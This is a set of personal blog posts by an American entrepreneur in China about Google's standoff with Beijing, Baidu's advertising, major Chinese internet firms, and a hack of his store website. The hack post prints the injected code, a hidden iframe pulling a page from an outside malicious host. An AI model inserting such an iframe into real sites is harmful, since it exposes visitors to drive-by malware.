Had to post this…..its amazing……will Google really leave China  ?  The news I’ve been reading it is highly unlikely.  But the news loves hearing about the battle between Chinese government and Google.  Almost wondering - is it a PR stunt to get attention to Google from China?  Or is it a USA political match to twist Chinese officials to open the GFW (great firewall)

Interesting article below.

• Losing Google? Chinese Scientists Say It’s Like Going Blind, Life Without Electricity
  Chinese scientists say their research will be dramatically compromised if Google shuts down its search engine in China. One scientist says it would be like going blind: “If I lose Google, it will [be] just like a man without his eyes.” Another says it “would be like life without electricity.” Those quotes and several statistics showing [...]

Google has just released google buzz, a twitter like platform that is integrated into your gmail account - so your “buzz” from friends and followers comes through as a folder in your email box.
This is all cool stuff, but from the matter of the current state of “google leaving china”….this is another step towards leaving.
Its reported the government of iran has blocked not just this google buzz - but all access to gmail!!
As most people are learning, facebook, twitter, youtube and other social media sites are blocked inside of china - google buzz fits the profile of these social media sites, and therefore we speculate will also be banned by the GFW (great firewall) of china - as it allows chinese people to read and access information the chinese government forbids.
But the scary part is - if china blocks the new google buzz - it will also have to block gmail - google’s free email service!!!! This is because google has integrated the 2 systems together as 1 platform.
BLOCK gmail????? Would the chinese government do this? So many chinese people, and businesses, use it every day!
it is obvious google knows how many chinese people are using its gmail email service….and i cant help to think they may be using this gmail / buzz combo to make a difficult choice for the chinese government….
If the chinese government bans gmail, many of its people will be punished and at a competitive disadvantage from foreign companies…..as well as locked out of their email……..or defy chinese law and use tools to get around the chinese firewall.
I feel the younger generation in china is already fed up with the government here blocking facebook, youtube, twitter, and others.
How would the people react if they were banned from gmail?
Seems google was aware of this difficult choice the chinese government had to make, and is again challenging the chinese politicians to rethink how they resteict open access to information to their own people.
Google leaving china, google fighting the chinese government, now it seems google is pitting the chinese government against its own people…
Lets see the outcome….definitely going to be interesting…..

Am I going to be caught in the middle of an internet war? In a way, i feel a bit strange, as i’m an american in china with google seeming to fight with the chinese government. and its seeming to become more policital then anything…..usa internet companies are siding with google / us government, and chinese internet companies are siding with chinese government / china culture.

http://finance.yahoo.com/news/Alibaba-says-Yahoo-reckless-apf-1224635903.html?x=0&sec=topStories&pos=4&asset=&ccode=

Alibaba says Yahoo ‘reckless’ on Google stance

China e-commerce giant Alibaba calls shareholder ‘reckless’ for support of Google

BEIJING (AP) — China’s e-commerce giant Alibaba turned on major shareholder Yahoo Inc. on Saturday, calling the American company’s support of Google in its standoff with China “reckless.”

Google has promised to stop censoring its search results in China, threatening to pull out of the country altogether if it can’t operate an unfiltered search engine. Yahoo has said it was “aligned” with Google’s position, though it’s not clear what that means.

“Alibaba Group has communicated to Yahoo! that Yahoo’s statement that it is ‘aligned’ with the position Google took last week was reckless given the lack of facts in evidence,” Alibaba spokesman John Spelich said Saturday. “Alibaba doesn’t share this view.”

Yahoo closed its own offices in China several years ago when it sold much of its business there to the Alibaba Group. Yahoo retains a 39 percent stake in Alibaba that represents one of Yahoo’s most valuable assets.

I hope I don’t get in the middle, sure i’m a small business owner in china. I love my staff, my team, what I have here so far. Took a lot of dedication and persistence.

China is a great market, a place of the future. I cannot leave that now. i will not turn my back on what we have here. There will be an answer.

Just wondering…what does this all mean…..its bringing some strange tension in the air. google china internet how will it all add up.

man….its all over the news these days…..Google is looking to exit the market in China….

its just gone that far in China….they are blocking my friend’s Chinese blogs here, they have blocked twitter, facebook and others….

it seems unfair, google is considered to be the last major foreign internet company in china….yahoo sold out to alibaba , so many others are blocked……

makes me start to wonder, how can i run an ecommerce internet company in china doing ecommerce and english promotion….when constantly blogs, facebook, twitter, and now google down.

how can i check my email - people all over the place here are backing up their email. its insane…..my company email is run on google apps for business. will my staff not be able to access their email.

so, i have to start thinking of what if….what if….

move to hong kong temporarily - i have some friends there. stay on their couch. decide what to do. i can continue to send money to shenzhen company remotely, i trust my staff to continue to go to the office. i will continue to pay them.

do i stay in hong kong. maybe thailand, or phillippines. i have some support and some friends in those countries. singapore is another.

or even back to usa. nah…..i have to stay on this side of the world.

am i over- reacting…..

i mean, i hope china then doesnt start to seize foreign companies in china. then again, the company is owned by the hong kong company, so the government wouldnt see me immediately as an american owned company here- they would see the company as hong kong owned.

just another day in china. is this another scare…..but it seems real, it seems a standoff between google and the chinese government. and i dont think google will win. Chinese government cannot change their censorship policy , it would make them look weak…….

This is a great example of how you need to have guan xi (good relations) in China.  Even in the digital age, its important to have strong relations with government agencies and high power internet companies here in China…let me show here below. (breath in….)

Man….how annoying…..after some talking in beijing to internet companies, i have been wondering why my rank for my chinese website 98products.com has dropped in baidu.com search engine (the biggest search engine in china, about 75% of chinese people use it)
Baidu has been calling my office lately asking why we haven’t added money to their paid advertising program (similar to google adwords), and say if we do not pay they will remove our account.
What is this??? If i dont pay money for your advertisements, then you will delete my website from the account??? So then chinese people looking for the products or services i provide, then I will have to re-create a Baidu account.
So i asked some big professionals here in beijing, they say, yup, this would be unheard of in the united states…but is a reality for baidu and china here…
They recommend to simply start over with a new domain account when I am ready to advertise…
Or pay baidu the money they ask for….

Unbelievable…
And there isnt anyone i can talk to…
And you know what is stupid, on the new domain website, i can never signup for a paid account, or if i do, i have to continue to pay baidu indefinitely, else they will remove me again…
so, if you start paying, you had better keep doing it……because once you start……
Comparing this to google, there is absolutely no connection with their paid (or sponsored) advertising program and their normal (organic) search results….
It just sucks that baidu had to play games like this….and its sad…
Sad because i am so often asked whats the differences between google and baidu….do i mention this in my answer…..????
Its just not fair to hard working chinese internet professionals….
i mean chinese government, so scared, they have to control information and manipulate search results…..why cant you play fair…it is embarrassing to the up and coming next generation of chinese professionals….
Times are changing….and hopefully baidu changes for the better too……
As i think its great to have a competitor to google, its market share is too big - but in thid case i have to route for google to continue to grow in the chinese market…..
And the other sad thing is, i can notice google.com search queries slow to respond or get a page not found error…and while i cannot confirm it, makes you think government is interrupting the service ….to swing people away from using it….
Facebook and twitter and others are blocked in china….imagine google.com
Then…there would be google.cn (g.cn)…..but…those results are monitored and filtered in china as well….but at least better than baidu
There….goes my complaining and whining….hope this blog doesnt get banned in china now for this….or punished by baidu and banned.

Again, I think in China, its normal to say you need to have special relations with governments and large cooperations to succeed. But with today’s internet age, it challenges the exact idea….allowing small companies and startups to grow quickly….Seems china traditions aren’t letting up.

Ouch, what a way to end a week. Late last night talking to Andrew at New York Bar Store and then he tells me about a phone call he got from a customer saying there was some spam on our site, newyorkbarstore.com. Then I take a look, view source, and a HIDDEN iframe inserted on the footer of the majority of the pages in the site! WTF!!!
=============================
HACK CODE BELOW
iframe src http://greatshopfilm . cn:8080/index.php width=184 height=158 style=”visibility: hidden” iframe
============================

I quickly start to re-upload a backup of the site I have in my computer, as it was before this hacker code was inserted on the page. Then I see its FLAGGED ON google results. Luckily the rankings have not been affected, but as you can see below - THERE IS A WARNING on the top of the page that my site may be have harmful viruses! I can only imagine that this is going to do to my site traffic…..

I have fixed the problem, and resubmitted to Google Webmaster tools, lets see how long this takes to be removed from the google results…I’m told from 1 friend this happened to him before, and it took 2 - 3 days!

Also, I’m doing a virus scan on my computer right now, and it found a trojan virus in my TENCENT QQ instant messenger files. Must have been downloaded in a chatlog. This business of hacking has been picking up, I’ve been hearing and reading that blackhat SEO people are hacking sites, pumping them with malicious codes to benefit themselves (not exactly sure though)

Is this in response to the tough economy, and people finding ways to earn cash the evil way….sad….

I also hope none of my website visitors on newyorkbarstore.com were affected. The internet can be a scary place. I understand google and the search engines have to protect their users, its just horrible this scumbags can hack my site and place this malicious code there.

Keep on.

I had a coffee break with my new friend Guang Yao (english name is Tristan), who is an avid social media guy, loving twitter, blogs, and other social online stuff. Here are some notes of what I got from our discussion this evening:

There is a coffee shop in Hangzhou city, China called “Beta Cafe” that is founded by some Alibaba Group execs. It has not spent any money on advertising, all of its customers come from word of mouth and SOCIAL MEDIA - blogs, social networks, etc - AND IS doing really well, as a token of chinese internet success and social networking.

We then talked about US internet, of course the google, ebay, amazon, twitter, and some other smaller sites. I’m not gonna bother writing about that, as this is an ENGLISH blog (haha) and you guys all know about this, and there’s tons of ENGLISH (amazing….) blogs talking about ENGLISH seo and internet marketing. Lets talk about these top chinese sites for those of you who don’t know:

I’m sure you may have heard, but if not, Alibaba Group is a major internet company in China, traded on the Hong Kong stock exchange (1688.hk. They own a portfolio of companies in ecommerce, listed below:

a) Alibaba International - this is the flagship site, which started as a bulliten board by Jack Ma in 1999 for manufacturers to post their products. It turned into a huge directory where factories and trading companies all over the world (well, mainly in China, but then again, theres most of the manufacturing these days) could promote their products to wholesalers, importers, and buyers.

b) Alibaba Domestic - in Chinese for chinese b2b transactions. Factories and Trading companies can sell to other chinese companies.

c) Tao Bao (www.taobao.com) - The Chinese ebay. Well, yea EBay tried to enter the chinese market a few years ago, and Tao Bao kicked its a$$! Tao Bao is free for both buyers and sellers though, so that may be a reason its such a dominent player. But Chinese love this site, and I would say is where 90% of chinese e-commerce is done. They also have an “amazon” fulfillment type system they’re working on, that will connect factories to buyers directly - with tao bao as the platform to “drop ship” direct to consumer (not taking on any inventory though)

d) Alipay - e-payment system. Basically the Chinese Paypal. 99% of the market share.

e) Alisoft - mainly a CRM system, it is cross promoted to its other channels in Alibaba and Tao Bao - and is how Alibaba attempts monetizes these other products, as they do not charge for usage on tao bao, nor do they charge much on alibaba china.

f) Alimama - an advertising platform, like google adwords and adsense. also another way it monetizes tao bao, with banner advertisements and the like.

Next we have Baidu , which is traded on the US NasDaq stock market (BIDU) is the dominant search engine in China, with approximately 75% market share of the search market here. Google China is trying to penetrate the market with maybe the 25% remaining market share, but Baidu still seems to dominate by a wide margin. They have the same business model as Google, selling sponsored advertisements, except they also have some advertisement IN THE ORGANIC results, not just on the left and the top. In addition to their flagship search engine, they also have:

payment system, shopping portal, and a new instant messaging tool. But there clear moneymaker is the baidu search engine.

Tencent, or more commonly known as QQ is a hugely successful Instant Messaging (IM) platform started and still based in the same city I live in now, Shenzhen. A private company (from as far as I can tell) this company makes the most profit of the 3, almost printing money.

Instant Messaging - A IM system like skype or MSN, with voice and video chat like those, But one cool feature I like is YOU’RE NAKED. Yea, you have a virtual “you” that is either a girl or a boy. You can then BUY clothing for your virtual person, picking shirts, pants, shoes, and accessories.

ONLINE GAMES make up 30% of its revenue, as the Chinese market loves to play online games, and Tencent’s games are really popular.

Pai Pai - C2C shopping site, a pretty much copy of tao bao.

Ten Pay - another alipay / paypal e-payment solution.

Other sites in china are more media (yahoo news) sites, that are also emerging with more products:
Sina.com
Sohu.com
163.com

What really amazes me, and was pointed out by the others tonight, is THEY ALL COPY EACH OTHER. And everyone has a product for every major internet function, payment, shopping, chat, etc. We discussed how its harder to copy in the USA because of trademarks and copyrights. But its sad to see in China. My friends tonight are almost afraid to share their ideas. here is why

THERE ARE REPRESENTATIVES From these above MAJOR Chinese internet companies building 100s of products in their R&D departments. they will attend events, work in social media sites, and then report back to their companies the ideas - AND COPY THEM.

So how can a young entrepreneur start his internet company? his ideas are stolen before he can even develop them…by huge multimillion dollar companies. Its sad. Its amazing, and it makes you wonder how innovation can continue.

Pretty awesome, my speech at the Xiamen SEO event was posted on a Chinese PR site sina.com

http://tech.sina.com.cn/i/2009-04-09/17242988117.shtml

Amazing, the photo is HILARIOUS! Translation is discussing my speech about SEO keyword research, importance of organizing your strategy before building a website, and the internet startup in Shenzhen, China that I am part of. Lets see how much coverage comes from this….gotta get out of the “box”

(my mom still isn’t up to emailing - and posted me this clipping from the local Florida newspaper….haha, good timing!)

Keep pushing forward, but I keep telling myself - no more mister nice guy - should I change and not care as much about how others feel?

I feel I’ve gotten more agressive, as I get deeper and deeper into the wild world of international business I’ve gotten burned and I have yet to feel I’ve burned someone else. i’m getting so overwhlemed I have to turn projects down, I hate doing that. I like to do everything - since as young as I can remember I’d get involved in every club, every class, every opportunity to learn and expand….but as the world around me gets bigger and bigger….i’m drowning in my curiousity.

Turned down a lot of parties, meetings, and business opportunities….and now as pressure creeps up for some deadlines, I have to work harder then ever.

Even with the rather discouraging week I had with the negative feelings - still pushing forward on the china ecommerce front….searching for warehouse space - looking for locality, scalibility…and security……that one is a bit scary and questionable……..

98products.com was a big project most of the day today, Saturday - every day a work day

not really sure what the work / life schedule is here - factory workers work 6 days, sometimes 7 days - seems like people are always workng…..